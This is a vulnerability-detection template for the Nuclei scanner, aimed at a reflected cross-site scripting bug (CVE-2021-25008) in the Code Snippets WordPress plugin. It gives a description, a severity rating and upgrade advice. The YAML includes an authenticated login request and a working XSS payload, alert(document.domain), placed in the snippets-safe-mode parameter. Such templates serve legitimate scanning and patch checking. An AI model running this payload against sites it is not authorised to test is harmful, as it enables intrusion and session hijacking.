The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting

ID: CVE-2021-25008

Severity: medium

Author: cckuailong

Tags: cve,cve2021,authenticated,wpscan,xss,wp,wordpress,wp-plugin,codesnippets

Description

The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.

YAML Source

id: CVE-2021-25008

info:
  name: The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25008
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25008
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:codesnippets:code_snippets:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codesnippets
    product: code_snippets
    framework: wordpress
  tags: cve,cve2021,authenticated,wpscan,xss,wp,wordpress,wp-plugin,codesnippets

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x"
          - "Snippets"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009765848bba7fd45b5b655254169bccacabaf6d4463a6e484d18b8a93064f0f54022063f7c4e4c5cfdfde39cf79ec869d64744e356a0fbe06ef71df38247531125ca6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25008.yaml"

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